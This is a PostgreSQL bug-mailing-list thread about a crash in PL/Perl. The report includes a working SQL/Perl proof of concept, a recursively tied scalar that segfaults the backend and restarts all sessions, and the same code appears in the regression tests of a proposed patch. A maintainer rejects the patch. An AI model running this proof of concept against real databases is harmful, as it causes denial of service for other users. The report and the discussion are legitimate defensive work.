agora inbox for pgsql-bugs@postgresql.org
help / color / mirror / Atom feedBUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend
4+ messages / 3 participants
[nested] [flat]
* BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend
@ 2026-08-03 06:54 PG Bug reporting form <noreply@postgresql.org>
2026-08-03 21:10 ` Re: BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend Andrey Rachitskiy <pl0h0yp1@gmail.com>
0 siblings, 1 reply; 4+ messages in thread
From: PG Bug reporting form @ 2026-08-03 06:54 UTC (permalink / raw)
To: pgsql-bugs@lists.postgresql.org; +Cc: 1217816127@qq.com
The following bug has been logged on the website:
Bug reference: 19601
Logged by: Yuelin Wang
Email address: 1217816127@qq.com
PostgreSQL version: 19beta2
Operating system: Linux (Ubuntu 24.04, x86_64)
Description:
### Summary
plperl_to_bool() in bool_plperl.c calls SvTRUE(in) directly on the SV
returned by a plperl function declared to TRANSFORM FOR TYPE bool, with no
recursion depth limit. A plperl function can return a tied scalar whose
FETCH handler ties and returns a brand new tied scalar every time it is
dereferenced, causing Perl's magic-get resolution inside SvTRUE to recurse
without bound and exhaust the C stack.
CWE: CWE-674. Severity: Medium.
### PoC
```sql
CREATE EXTENSION plperl;
CREATE EXTENSION bool_plperl;
CREATE FUNCTION perl_tie_recurse() RETURNS bool
TRANSFORM FOR TYPE bool
LANGUAGE plperl
AS $perl$
package RecurTie;
our $depth = 0;
sub TIESCALAR { return bless {}, shift; }
sub FETCH { $depth++; my $x; tie $x, 'RecurTie'; return $x; }
package main;
tie my $y, 'RecurTie';
return $y;
$perl$;
SELECT perl_tie_recurse();
```
### Result
Real captured output from the independent verification run:
```
psql:/tmp/poc.sql:13: server closed the connection unexpectedly
This probably means the server terminated abnormally
before or while processing the request.
psql:/tmp/poc.sql:13: error: connection to server was lost
PSQL EXIT: 2
Server log:
LOG: client backend (PID 382422) was terminated by signal 11: Segmentation
fault
DETAIL: Failed process was running: SELECT perl_tie_recurse();
LOG: terminating any other active server processes
LOG: all server processes terminated; reinitializing
LOG: database system was interrupted; last known up at 2026-08-01 17:22:47
+08
LOG: database system was not properly shut down; automatic recovery in
progress
LOG: redo starts at 0/01790190
LOG: redo done at 0/017AEA10
LOG: checkpoint starting: end-of-recovery fast wait
LOG: checkpoint complete: end-of-recovery fast wait
LOG: database system is ready to accept connections
```
### Impact
Any database role with CREATE privilege and USAGE on the trusted plperl
language can define a bool_plperl transform function that crashes the
serving backend with SIGSEGV, forcing the postmaster to terminate and
restart every other concurrent backend on the instance and perform crash
recovery.
^ permalink raw reply [nested|flat] 4+ messages in thread
* Re: BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend
2026-08-03 06:54 BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend PG Bug reporting form <noreply@postgresql.org>
@ 2026-08-03 21:10 ` Andrey Rachitskiy <pl0h0yp1@gmail.com>
2026-08-03 22:01 ` Re: BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend Tom Lane <tgl@sss.pgh.pa.us>
0 siblings, 1 reply; 4+ messages in thread
From: Andrey Rachitskiy @ 2026-08-03 21:10 UTC (permalink / raw)
To: 1217816127@qq.com; pgsql-bugs@lists.postgresql.org
Hi,Yuelin!
Thanks for the report. I can reproduce the SIGSEGV on current master
(with --with-perl).
The crash is not in bool_plperl's SvTRUE(), and it is not in the
newSVsv(POPs) that copies the PL/Perl return value. Those sites are
never reached. The reporter's PoC uses TRANSFORM FOR TYPE bool, but the
same SIGSEGV happens without bool_plperl at all, for example with a plain
```
CREATE FUNCTION perl_tie_recurse_text() RETURNS text
LANGUAGE plperl
AS $$ ... recursive TIESCALAR/FETCH ... return $y; $$;
SELECT perl_tie_recurse_text();
```
So this is a shared PL/Perl call_sv() problem, not a bool transform bug.
The first magic_getpack frame on the crashing path is:
```
#0 Perl_magic_getpack
#1 Perl_mg_get
#2 Perl_leave_adjust_stacks
#3 Perl_pp_leavesub
#4 Perl_runops_standard
#5 Perl_call_sv
#6 plperl_call_perl_func at plperl.c (call_sv of the user CV)
#7 plperl_func_handler
#8 plperl_call_handler
```
Then the same pattern repeats until the C stack is exhausted. A typical
loop on the stack is:
```
leave_adjust_stacks
-> mg_get / magic_getpack
-> call_sv(FETCH)
-> leavesub / leave_adjust_stacks
-> mg_get ...
```
So the unbounded recursion is inside Perl's own return path. When a
subroutine returns a magical SV, leave_adjust_stacks() copies it and
calls SvGETMAGIC(). For a tied scalar that runs FETCH. If FETCH
returns another tied scalar, leave_adjust_stacks() does SvGETMAGIC() on
that result as well, and so on. PL/Perl merely triggers this by doing
call_sv(..., G_SCALAR | G_EVAL) on a user sub that returns such a
value.
I first tried to avoid get-magic only on the PL/Perl side after
call_sv() returns (newSVsv_flags(..., SV_NOSTEAL) plus a later unwrap
in plperl_sv_to_datum()). That cannot help here. call_sv() never
returns. I also tried temporarily replacing PL_ppaddr[OP_LEAVESUB].
That does not affect already-compiled ops, because each OP stores its
op_ppaddr at compile time.
I am attaching a prototype patch along those lines. I am not sure it
is the right long-term fix. It is what I have that stops the SIGSEGV
without rejecting legitimate tied returns, and I am posting it mainly
to show the failure mode and one workable guard. Better approaches are
very welcome.
The idea is to patch OP_LEAVESUB / OP_LEAVESUBLV in the callee CV's op
tree for the duration of call_sv(). The replacement pp function looks
at a scalar-context return value. If it is a tied scalar, it invokes
FETCH itself under check_stack_depth() / CHECK_FOR_INTERRUPTS(),
installs the result without get-magic, and only then falls through to
the original leavesub. The FETCH method's CV is patched the same way
when first reached from that path, so a tied FETCH return hits the same
guard instead of Perl's unbounded leave_adjust_stacks() path.
A plain tied return whose FETCH yields a normal value still works. A
recursively tied return becomes the usual
```
ERROR: stack depth limit exceeded
```
rather than a SIGSEGV. That is the same bound other recursive paths in
the backend use. A hard-coded FETCH iteration limit was considered and
dropped as unnecessary magic.
Rejecting every tied return was considered and rejected. Legitimate
`return $tied` where FETCH produces a plain value is useful and should
keep working. Trying to unwrap only in bool_plperl is too narrow. The
same call_sv() path is shared by all PL/Perl returns.
The guard patches the top-level callee CV for the call_sv(), and any
FETCH CV first reached from that path. Nested helper subs that return
a tied scalar without going through that FETCH path are not patched.
That is the same class of gap as other Perl-internal call sites we do
not wrap. FETCH CVs stay patched after first use. Later leavesub of
those methods still go through the guarded pp, which is intentional.
A regress case based on the reporter's PoC is included in bool_plperl /
bool_plperlu (ok-tie returns true, evil-tie hits the stack-depth ERROR
with max_stack_depth pinned so the HINT is stable). The existing
plperl, bool_plperl, hstore_plperl, and jsonb_plperl tests also pass.
Thoughts?
пн, 3 авг. 2026 г. в 23:12, PG Bug reporting form <noreply@postgresql.org>:
> The following bug has been logged on the website:
>
> Bug reference: 19601
> Logged by: Yuelin Wang
> Email address: 1217816127@qq.com
> PostgreSQL version: 19beta2
> Operating system: Linux (Ubuntu 24.04, x86_64)
> Description:
>
> ### Summary
>
> plperl_to_bool() in bool_plperl.c calls SvTRUE(in) directly on the SV
> returned by a plperl function declared to TRANSFORM FOR TYPE bool, with no
> recursion depth limit. A plperl function can return a tied scalar whose
> FETCH handler ties and returns a brand new tied scalar every time it is
> dereferenced, causing Perl's magic-get resolution inside SvTRUE to recurse
> without bound and exhaust the C stack.
>
> CWE: CWE-674. Severity: Medium.
>
> ### PoC
>
> ```sql
> CREATE EXTENSION plperl;
> CREATE EXTENSION bool_plperl;
> CREATE FUNCTION perl_tie_recurse() RETURNS bool
> TRANSFORM FOR TYPE bool
> LANGUAGE plperl
> AS $perl$
> package RecurTie;
> our $depth = 0;
> sub TIESCALAR { return bless {}, shift; }
> sub FETCH { $depth++; my $x; tie $x, 'RecurTie'; return $x; }
> package main;
> tie my $y, 'RecurTie';
> return $y;
> $perl$;
> SELECT perl_tie_recurse();
> ```
>
> ### Result
>
> Real captured output from the independent verification run:
>
> ```
> psql:/tmp/poc.sql:13: server closed the connection unexpectedly
> This probably means the server terminated abnormally
> before or while processing the request.
> psql:/tmp/poc.sql:13: error: connection to server was lost
> PSQL EXIT: 2
>
> Server log:
> LOG: client backend (PID 382422) was terminated by signal 11: Segmentation
> fault
> DETAIL: Failed process was running: SELECT perl_tie_recurse();
> LOG: terminating any other active server processes
> LOG: all server processes terminated; reinitializing
> LOG: database system was interrupted; last known up at 2026-08-01 17:22:47
> +08
> LOG: database system was not properly shut down; automatic recovery in
> progress
> LOG: redo starts at 0/01790190
> LOG: redo done at 0/017AEA10
> LOG: checkpoint starting: end-of-recovery fast wait
> LOG: checkpoint complete: end-of-recovery fast wait
> LOG: database system is ready to accept connections
> ```
>
> ### Impact
>
> Any database role with CREATE privilege and USAGE on the trusted plperl
> language can define a bool_plperl transform function that crashes the
> serving backend with SIGSEGV, forcing the postmaster to terminate and
> restart every other concurrent backend on the instance and perform crash
> recovery.
>
>
>
>
>
--
Regards,
Rachitskiy Andrey
Attachments:
[text/x-patch] 0001-BUG-19601-Fix-recursively-tied-Perl-return-values.patch (13.9K, ../../CAB8bMiuZMHtW+2E-brFjy5wPttdkf5JF=FoQuDj5xR_9tBcdog@mail.gmail.com/3-0001-BUG-19601-Fix-recursively-tied-Perl-return-values.patch)
download | inline diff:
From: Andrey Rachitskiy <pl0h0yp1@gmail.com>
Date: Mon, 3 Aug 2026 20:06:01 +0000
Subject: [PATCH] Fix crash on recursively tied Perl return values
Perl's leave_adjust_stacks() invokes get-magic on magical subroutine
return values. When a tied scalar's FETCH returns another tied scalar,
that recurses without bound and SIGSEGVs inside call_sv(), before
PL/Perl can copy the return value.
Patch OP_LEAVESUB in the callee's op tree while call_sv() runs, so tied
scalar returns are resolved under check_stack_depth() before
leave_adjust_stacks() sees them. FETCH methods are patched the same way
when first invoked from that path.
Bug: #19601
Author: Andrey Rachitskiy <pl0h0yp1@gmail.com>
Reported-by: Yuelin Wang <1217816127@qq.com>
Discussion: https://www.postgresql.org/message-id/19601-92d59d2242c00966%40postgresql.org
---
contrib/bool_plperl/expected/bool_plperl.out | 41 ++++-
contrib/bool_plperl/expected/bool_plperlu.out | 41 ++++-
contrib/bool_plperl/sql/bool_plperl.sql | 31 ++++
contrib/bool_plperl/sql/bool_plperlu.sql | 31 ++++
src/pl/plperl/plperl.c | 210 ++++++++++++++++++++++++--
5 files changed, 343 insertions(+), 11 deletions(-)
diff --git a/contrib/bool_plperl/expected/bool_plperl.out b/contrib/bool_plperl/expected/bool_plperl.out
index 183dc07b3fb..9e354dc6b3b 100644
--- a/contrib/bool_plperl/expected/bool_plperl.out
+++ b/contrib/bool_plperl/expected/bool_plperl.out
@@ -102,11 +102,50 @@ SELECT spi_test();
(1 row)
+-- Tied scalar whose FETCH returns a plain value.
+CREATE FUNCTION perl_tie_ok() RETURNS bool
+TRANSFORM FOR TYPE bool
+LANGUAGE plperl
+AS $perl$
+ package BoolTieOk;
+ sub TIESCALAR { return bless {}, shift; }
+ sub FETCH { return 1; }
+ package main;
+ tie my $y, 'BoolTieOk';
+ return $y;
+$perl$;
+SELECT perl_tie_ok();
+ perl_tie_ok
+-------------
+ t
+(1 row)
+
+-- Tied scalar whose FETCH returns another tied scalar.
+CREATE FUNCTION perl_tie_recurse() RETURNS bool
+TRANSFORM FOR TYPE bool
+LANGUAGE plperl
+AS $perl$
+ package BoolTieRecurse;
+ sub TIESCALAR { return bless {}, shift; }
+ sub FETCH { my $x; tie $x, 'BoolTieRecurse'; return $x; }
+ package main;
+ tie my $y, 'BoolTieRecurse';
+ return $y;
+$perl$;
+-- Pin the limit so the HINT does not depend on the installation default.
+SET max_stack_depth = '100kB';
+SELECT perl_tie_recurse();
+ERROR: stack depth limit exceeded
+HINT: Increase the configuration parameter "max_stack_depth" (currently 100kB), after ensuring the platform's stack depth limit is adequate.
+CONTEXT: PL/Perl function "perl_tie_recurse"
+RESET max_stack_depth;
DROP EXTENSION plperl CASCADE;
-NOTICE: drop cascades to 6 other objects
+NOTICE: drop cascades to 8 other objects
DETAIL: drop cascades to extension bool_plperl
drop cascades to function perl2int(integer)
drop cascades to function perl2text(text)
drop cascades to function perl2undef()
drop cascades to function bool2perl(boolean,boolean,boolean)
drop cascades to function spi_test()
+drop cascades to function perl_tie_ok()
+drop cascades to function perl_tie_recurse()
diff --git a/contrib/bool_plperl/expected/bool_plperlu.out b/contrib/bool_plperl/expected/bool_plperlu.out
index 1496bbafac8..d16349d5960 100644
--- a/contrib/bool_plperl/expected/bool_plperlu.out
+++ b/contrib/bool_plperl/expected/bool_plperlu.out
@@ -102,11 +102,50 @@ SELECT spi_test();
(1 row)
+-- Tied scalar whose FETCH returns a plain value.
+CREATE FUNCTION perl_tie_ok() RETURNS bool
+TRANSFORM FOR TYPE bool
+LANGUAGE plperlu
+AS $perl$
+ package BoolTieOk;
+ sub TIESCALAR { return bless {}, shift; }
+ sub FETCH { return 1; }
+ package main;
+ tie my $y, 'BoolTieOk';
+ return $y;
+$perl$;
+SELECT perl_tie_ok();
+ perl_tie_ok
+-------------
+ t
+(1 row)
+
+-- Tied scalar whose FETCH returns another tied scalar.
+CREATE FUNCTION perl_tie_recurse() RETURNS bool
+TRANSFORM FOR TYPE bool
+LANGUAGE plperlu
+AS $perl$
+ package BoolTieRecurse;
+ sub TIESCALAR { return bless {}, shift; }
+ sub FETCH { my $x; tie $x, 'BoolTieRecurse'; return $x; }
+ package main;
+ tie my $y, 'BoolTieRecurse';
+ return $y;
+$perl$;
+-- Pin the limit so the HINT does not depend on the installation default.
+SET max_stack_depth = '100kB';
+SELECT perl_tie_recurse();
+ERROR: stack depth limit exceeded
+HINT: Increase the configuration parameter "max_stack_depth" (currently 100kB), after ensuring the platform's stack depth limit is adequate.
+CONTEXT: PL/Perl function "perl_tie_recurse"
+RESET max_stack_depth;
DROP EXTENSION plperlu CASCADE;
-NOTICE: drop cascades to 6 other objects
+NOTICE: drop cascades to 8 other objects
DETAIL: drop cascades to extension bool_plperlu
drop cascades to function perl2int(integer)
drop cascades to function perl2text(text)
drop cascades to function perl2undef()
drop cascades to function bool2perl(boolean,boolean,boolean)
drop cascades to function spi_test()
+drop cascades to function perl_tie_ok()
+drop cascades to function perl_tie_recurse()
diff --git a/contrib/bool_plperl/sql/bool_plperl.sql b/contrib/bool_plperl/sql/bool_plperl.sql
index b7f570862ce..17d1f15045c 100644
--- a/contrib/bool_plperl/sql/bool_plperl.sql
+++ b/contrib/bool_plperl/sql/bool_plperl.sql
@@ -67,4 +67,35 @@ $$;
SELECT spi_test();
+-- Tied scalar whose FETCH returns a plain value.
+CREATE FUNCTION perl_tie_ok() RETURNS bool
+TRANSFORM FOR TYPE bool
+LANGUAGE plperl
+AS $perl$
+ package BoolTieOk;
+ sub TIESCALAR { return bless {}, shift; }
+ sub FETCH { return 1; }
+ package main;
+ tie my $y, 'BoolTieOk';
+ return $y;
+$perl$;
+SELECT perl_tie_ok();
+
+-- Tied scalar whose FETCH returns another tied scalar.
+CREATE FUNCTION perl_tie_recurse() RETURNS bool
+TRANSFORM FOR TYPE bool
+LANGUAGE plperl
+AS $perl$
+ package BoolTieRecurse;
+ sub TIESCALAR { return bless {}, shift; }
+ sub FETCH { my $x; tie $x, 'BoolTieRecurse'; return $x; }
+ package main;
+ tie my $y, 'BoolTieRecurse';
+ return $y;
+$perl$;
+-- Pin the limit so the HINT does not depend on the installation default.
+SET max_stack_depth = '100kB';
+SELECT perl_tie_recurse();
+RESET max_stack_depth;
+
DROP EXTENSION plperl CASCADE;
diff --git a/contrib/bool_plperl/sql/bool_plperlu.sql b/contrib/bool_plperl/sql/bool_plperlu.sql
index 1480a043306..7247f8adc6e 100644
--- a/contrib/bool_plperl/sql/bool_plperlu.sql
+++ b/contrib/bool_plperl/sql/bool_plperlu.sql
@@ -67,4 +67,35 @@ $$;
SELECT spi_test();
+-- Tied scalar whose FETCH returns a plain value.
+CREATE FUNCTION perl_tie_ok() RETURNS bool
+TRANSFORM FOR TYPE bool
+LANGUAGE plperlu
+AS $perl$
+ package BoolTieOk;
+ sub TIESCALAR { return bless {}, shift; }
+ sub FETCH { return 1; }
+ package main;
+ tie my $y, 'BoolTieOk';
+ return $y;
+$perl$;
+SELECT perl_tie_ok();
+
+-- Tied scalar whose FETCH returns another tied scalar.
+CREATE FUNCTION perl_tie_recurse() RETURNS bool
+TRANSFORM FOR TYPE bool
+LANGUAGE plperlu
+AS $perl$
+ package BoolTieRecurse;
+ sub TIESCALAR { return bless {}, shift; }
+ sub FETCH { my $x; tie $x, 'BoolTieRecurse'; return $x; }
+ package main;
+ tie my $y, 'BoolTieRecurse';
+ return $y;
+$perl$;
+-- Pin the limit so the HINT does not depend on the installation default.
+SET max_stack_depth = '100kB';
+SELECT perl_tie_recurse();
+RESET max_stack_depth;
+
DROP EXTENSION plperlu CASCADE;
diff --git a/src/pl/plperl/plperl.c b/src/pl/plperl/plperl.c
index 9ddb81d42b9..cfd86961a79 100644
--- a/src/pl/plperl/plperl.c
+++ b/src/pl/plperl/plperl.c
@@ -299,6 +299,9 @@ static void plperl_exec_callback(void *arg);
static void plperl_inline_callback(void *arg);
static char *strip_trailing_ws(const char *msg);
static OP *pp_require_safe(pTHX);
+static OP *pp_leavesub_resolve_ties(pTHX);
+static void plperl_enter_tie_guard(SV *fn);
+static void plperl_leave_tie_guard(SV *fn);
static void activate_interpreter(plperl_interp_desc *interp_desc);
#if defined(WIN32) && PERL_VERSION_LT(5, 28, 0)
@@ -913,6 +916,158 @@ pp_require_safe(pTHX)
return NULL;
}
+/*
+ * Perl's leave_adjust_stacks() runs get-magic on magical return values.
+ * If a tied scalar's FETCH returns another tied scalar, that recurses
+ * without bound inside call_sv() and can SIGSEGV.
+ *
+ * PL_ppaddr[OP_LEAVESUB] is not enough: compiled ops keep their own
+ * op_ppaddr. While call_sv() runs, patch OP_LEAVESUB(LV) in the callee
+ * (and in FETCH CVs we reach) so tied returns are resolved under
+ * check_stack_depth() before leave_adjust_stacks() sees them.
+ */
+static Perl_ppaddr_t plperl_pp_leavesub_orig = NULL;
+
+static void
+plperl_walk_patch_leavesub(OP *o, bool install)
+{
+ if (o == NULL)
+ return;
+
+ if (o->op_type == OP_LEAVESUB || o->op_type == OP_LEAVESUBLV)
+ {
+ if (install)
+ o->op_ppaddr = pp_leavesub_resolve_ties;
+ else
+ o->op_ppaddr = plperl_pp_leavesub_orig;
+ }
+
+ if (o->op_flags & OPf_KIDS)
+ {
+ OP *kid;
+
+ for (kid = cUNOPo->op_first; kid; kid = OpSIBLING(kid))
+ plperl_walk_patch_leavesub(kid, install);
+ }
+}
+
+static void
+plperl_patch_cv_leavesubs(CV *cv, bool install)
+{
+ if (cv == NULL || CvISXSUB(cv) || CvROOT(cv) == NULL)
+ return;
+ plperl_walk_patch_leavesub(CvROOT(cv), install);
+}
+
+static void
+plperl_enter_tie_guard(SV *fn)
+{
+ dTHX;
+ HV *stash = NULL;
+ GV *gv = NULL;
+ CV *cv;
+
+ if (plperl_pp_leavesub_orig == NULL)
+ plperl_pp_leavesub_orig = PL_ppaddr[OP_LEAVESUB];
+
+ cv = sv_2cv(fn, &stash, &gv, 0);
+ plperl_patch_cv_leavesubs(cv, true);
+}
+
+static void
+plperl_leave_tie_guard(SV *fn)
+{
+ dTHX;
+ HV *stash = NULL;
+ GV *gv = NULL;
+ CV *cv;
+
+ cv = sv_2cv(fn, &stash, &gv, 0);
+ plperl_patch_cv_leavesubs(cv, false);
+}
+
+static OP *
+pp_leavesub_resolve_ties(pTHX)
+{
+ PERL_CONTEXT *cx = CX_CUR();
+
+ /*
+ * Before the real leavesub runs leave_adjust_stacks() (which does
+ * SvGETMAGIC and can recurse unbound on tied FETCH returns), unwrap
+ * tied scalars under check_stack_depth().
+ *
+ * Do not touch MULTICALL frames. For those, pp_leavesub returns
+ * immediately and the multicall macros own the context. Mutating
+ * the stack or calling FETCH here would break that protocol.
+ */
+ if (CxTYPE(cx) == CXt_SUB &&
+ !CxMULTICALL(cx) &&
+ cx->blk_gimme == G_SCALAR)
+ {
+ dSP;
+ SV **oldsp = PL_stack_base + cx->blk_oldsp;
+
+ while (SP > oldsp &&
+ TOPs &&
+ SvGMAGICAL(TOPs) &&
+ mg_find(TOPs, PERL_MAGIC_tiedscalar) != NULL)
+ {
+ MAGIC *mg;
+ SV *obj;
+ SV *ret;
+ HV *stash;
+ GV *gv;
+ CV *fetchcv;
+ int count;
+
+ check_stack_depth();
+ CHECK_FOR_INTERRUPTS();
+
+ mg = mg_find(TOPs, PERL_MAGIC_tiedscalar);
+ obj = SvTIED_obj(TOPs, mg);
+ stash = SvSTASH(SvRV(obj));
+ gv = gv_fetchmethod_autoload(stash, "FETCH", TRUE);
+ fetchcv = (gv && isGV(gv)) ? GvCV(gv) : NULL;
+
+ /*
+ * FETCH lives in its own CV. Patch it so a tied FETCH return
+ * takes this path too.
+ */
+ plperl_patch_cv_leavesubs(fetchcv, true);
+
+ ENTER;
+ SAVETMPS;
+ PUSHMARK(SP);
+ PUSHs(obj);
+ PUTBACK;
+ count = call_method("FETCH", G_SCALAR | G_EVAL);
+ SPAGAIN;
+
+ if (SvTRUE(ERRSV))
+ {
+ char *msg = SvPV_nolen(ERRSV);
+
+ PUTBACK;
+ FREETMPS;
+ LEAVE;
+ croak("%s", msg);
+ }
+
+ ret = (count == 1) ? POPs : &PL_sv_undef;
+ SvREFCNT_inc(ret); /* protect across FREETMPS */
+ PUTBACK;
+ FREETMPS;
+ LEAVE;
+ SPAGAIN;
+ /* Copy without get-magic. Result may still be tied. */
+ SETs(sv_2mortal(newSVsv_flags(ret, SV_NOSTEAL)));
+ SvREFCNT_dec(ret);
+ }
+ }
+
+ return plperl_pp_leavesub_orig(aTHX);
+}
+
/*
* Destroy one Perl interpreter ... actually we just run END blocks.
@@ -2239,8 +2394,19 @@ plperl_call_perl_func(plperl_proc_desc *desc, FunctionCallInfo fcinfo)
}
PUTBACK;
- /* Do NOT use G_KEEPERR here */
- count = call_sv(desc->reference, G_SCALAR | G_EVAL);
+ plperl_enter_tie_guard(desc->reference);
+ PG_TRY();
+ {
+ /* Do NOT use G_KEEPERR here */
+ count = call_sv(desc->reference, G_SCALAR | G_EVAL);
+ }
+ PG_CATCH();
+ {
+ plperl_leave_tie_guard(desc->reference);
+ PG_RE_THROW();
+ }
+ PG_END_TRY();
+ plperl_leave_tie_guard(desc->reference);
SPAGAIN;
@@ -2266,7 +2432,11 @@ plperl_call_perl_func(plperl_proc_desc *desc, FunctionCallInfo fcinfo)
errmsg("%s", strip_trailing_ws(sv2cstr(ERRSV)))));
}
- retval = newSVsv(POPs);
+ /*
+ * Tied FETCH was already resolved under the leavesub guard. Copy
+ * without get-magic as defense in depth.
+ */
+ retval = newSVsv_flags(POPs, SV_NOSTEAL);
PUTBACK;
FREETMPS;
@@ -2307,8 +2477,19 @@ plperl_call_perl_trigger_func(plperl_proc_desc *desc, FunctionCallInfo fcinfo,
PUSHs(sv_2mortal(cstr2sv(tg_trigger->tgargs[i])));
PUTBACK;
- /* Do NOT use G_KEEPERR here */
- count = call_sv(desc->reference, G_SCALAR | G_EVAL);
+ plperl_enter_tie_guard(desc->reference);
+ PG_TRY();
+ {
+ /* Do NOT use G_KEEPERR here */
+ count = call_sv(desc->reference, G_SCALAR | G_EVAL);
+ }
+ PG_CATCH();
+ {
+ plperl_leave_tie_guard(desc->reference);
+ PG_RE_THROW();
+ }
+ PG_END_TRY();
+ plperl_leave_tie_guard(desc->reference);
SPAGAIN;
@@ -2334,7 +2515,7 @@ plperl_call_perl_trigger_func(plperl_proc_desc *desc, FunctionCallInfo fcinfo,
errmsg("%s", strip_trailing_ws(sv2cstr(ERRSV)))));
}
- retval = newSVsv(POPs);
+ retval = newSVsv_flags(POPs, SV_NOSTEAL);
PUTBACK;
FREETMPS;
@@ -2370,8 +2551,19 @@ plperl_call_perl_event_trigger_func(plperl_proc_desc *desc,
PUSHMARK(sp);
PUTBACK;
- /* Do NOT use G_KEEPERR here */
- count = call_sv(desc->reference, G_SCALAR | G_EVAL);
+ plperl_enter_tie_guard(desc->reference);
+ PG_TRY();
+ {
+ /* Do NOT use G_KEEPERR here */
+ count = call_sv(desc->reference, G_SCALAR | G_EVAL);
+ }
+ PG_CATCH();
+ {
+ plperl_leave_tie_guard(desc->reference);
+ PG_RE_THROW();
+ }
+ PG_END_TRY();
+ plperl_leave_tie_guard(desc->reference);
SPAGAIN;
@@ -2397,7 +2589,7 @@ plperl_call_perl_event_trigger_func(plperl_proc_desc *desc,
errmsg("%s", strip_trailing_ws(sv2cstr(ERRSV)))));
}
- retval = newSVsv(POPs);
+ retval = newSVsv_flags(POPs, SV_NOSTEAL);
(void) retval; /* silence compiler warning */
PUTBACK;
^ permalink raw reply [nested|flat] 4+ messages in thread
* Re: BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend
2026-08-03 06:54 BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend PG Bug reporting form <noreply@postgresql.org>
2026-08-03 21:10 ` Re: BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend Andrey Rachitskiy <pl0h0yp1@gmail.com>
@ 2026-08-03 22:01 ` Tom Lane <tgl@sss.pgh.pa.us>
2026-08-04 04:57 ` Re: BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend Andrey Rachitskiy <pl0h0yp1@gmail.com>
0 siblings, 1 reply; 4+ messages in thread
From: Tom Lane @ 2026-08-03 22:01 UTC (permalink / raw)
To: Andrey Rachitskiy <pl0h0yp1@gmail.com>; +Cc: 1217816127@qq.com; pgsql-bugs@lists.postgresql.org
Andrey Rachitskiy <pl0h0yp1@gmail.com> writes:
> Thanks for the report. I can reproduce the SIGSEGV on current master
> (with --with-perl).
I can't get excited about this. A plperl user who wishes to cause
recursion to stack overflow can do so far more simply than what is
proposed here: just write an indefinitely-recursive Perl function
and call it. That recursion will be totally inside libperl, so
we can do nothing about it. The same holds for every other PL
that exposes a general-purpose programming language.
I certainly wouldn't add the amount of code you propose here to close
off just one route to that, even if I trusted the patch which I don't.
(It seems far too much in-bed with details of libperl's innards, and
hence likely to fail on other Perl versions than what you tested.)
regards, tom lane
^ permalink raw reply [nested|flat] 4+ messages in thread
* Re: BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend
2026-08-03 06:54 BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend PG Bug reporting form <noreply@postgresql.org>
2026-08-03 21:10 ` Re: BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend Andrey Rachitskiy <pl0h0yp1@gmail.com>
2026-08-03 22:01 ` Re: BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend Tom Lane <tgl@sss.pgh.pa.us>
@ 2026-08-04 04:57 ` Andrey Rachitskiy <pl0h0yp1@gmail.com>
0 siblings, 0 replies; 4+ messages in thread
From: Andrey Rachitskiy @ 2026-08-04 04:57 UTC (permalink / raw)
To: Tom Lane <tgl@sss.pgh.pa.us>; +Cc: 1217816127@qq.com; pgsql-bugs@lists.postgresql.org
Tom Lane <tgl@sss.pgh.pa.us> writes:
> I can't get excited about this. A plperl user who wishes to cause
> recursion to stack overflow can do so far more simply than what is
> proposed here: just write an indefinitely-recursive Perl function
> and call it. That recursion will be totally inside libperl, so
> we can do nothing about it. The same holds for every other PL
> that exposes a general-purpose programming language.
>
> I certainly wouldn't add the amount of code you propose here to close
> off just one route to that, even if I trusted the patch which I don't.
> (It seems far too much in-bed with details of libperl's innards, and
> hence likely to fail on other Perl versions than what you tested.)
Fair enough.
This is not an attempt to argue for committing that patch.
It was called a prototype in the earlier mail, and it was explicitly noted
that this might not be the right approach.
The main intention was only to demonstrate that this particular path can be
intercepted by reaching into Perl's leave/op mechanics.
You have already explained to me before that this class of failure is not
really a PostgreSQL problem.
Thank you again for that — I should have applied the same reasoning here
sooner.
The report caught attention because it pointed at bool_plperl's SvTRUE() as
the bug.
вт, 4 авг. 2026 г. в 03:01, Tom Lane <tgl@sss.pgh.pa.us>:
> Andrey Rachitskiy <pl0h0yp1@gmail.com> writes:
> > Thanks for the report. I can reproduce the SIGSEGV on current master
> > (with --with-perl).
>
> I can't get excited about this. A plperl user who wishes to cause
> recursion to stack overflow can do so far more simply than what is
> proposed here: just write an indefinitely-recursive Perl function
> and call it. That recursion will be totally inside libperl, so
> we can do nothing about it. The same holds for every other PL
> that exposes a general-purpose programming language.
>
> I certainly wouldn't add the amount of code you propose here to close
> off just one route to that, even if I trusted the patch which I don't.
> (It seems far too much in-bed with details of libperl's innards, and
> hence likely to fail on other Perl versions than what you tested.)
>
> regards, tom lane
>
--
Regards,
Rachitskiy Andrey
^ permalink raw reply [nested|flat] 4+ messages in thread
end of thread, other threads:[~2026-08-04 04:57 UTC | newest]
Thread overview: 4+ messages (download: mbox mbox.gz follow: Atom feed)
-- links below jump to the message on this page --
2026-08-03 06:54 BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend PG Bug reporting form <noreply@postgresql.org>
2026-08-03 21:10 ` Andrey Rachitskiy <pl0h0yp1@gmail.com>
2026-08-03 22:01 ` Tom Lane <tgl@sss.pgh.pa.us>
2026-08-04 04:57 ` Andrey Rachitskiy <pl0h0yp1@gmail.com>
This inbox is served by agora; see mirroring instructions
